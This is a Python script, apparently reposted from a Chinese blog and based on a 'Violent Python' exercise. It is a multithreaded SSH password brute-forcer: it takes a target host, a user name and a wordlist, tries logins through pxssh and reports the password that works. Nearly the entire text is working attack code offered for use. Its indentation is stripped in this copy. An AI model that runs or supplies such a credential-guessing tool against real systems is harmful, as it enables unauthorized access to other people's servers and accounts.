# coding=UTF-8
# time: 17-12-28: 上午10:04
# Author: Xifeng2009
import argparse, time
from threading import *
from pexpect import pxssh
maxConnections = 5
connection_Lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found, Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print("[+] Password Found: "+password)
Found = True
except Exception as e:
if "read_nonblocking" in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
connection_Lock.release()
def main():
parser = argparse.ArgumentParser("usage %prog -H <target host>"
"-u <user> -F <password list>")
parser.add_argument('-H',dest='tgtHost',type=str,help='specify target host')
parser.add_argument('-u',dest='user',type=str,help='specify the user')
parser.add_argument('-F',dest='passwdFile',type=str,help='specify password file')
args = parser.parse_args()
host = args.tgtHost
user = args.user
passwdFile = args.passwdFile
if host == None or passwdFile == None or user == None:
print(parser.usage)
else:
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print("[*] Exiting: Password Found")
elif Fails > 5:
print("[!] Exiting: Too Many Socket Timeouts")
else:
connection_Lock.acquire()
password = line.strip('\r').strip('\n')
print("[-] Testing: "+str(password))
t = Thread(target=connect, args=(host,user,password,True))
child = t.start()
if __name__ == '__main__':
main()
Violent Python Pxssh暴力破解
猜你喜欢
转载自blog.csdn.net/qq_31017793/article/details/78919540
今日推荐
周排行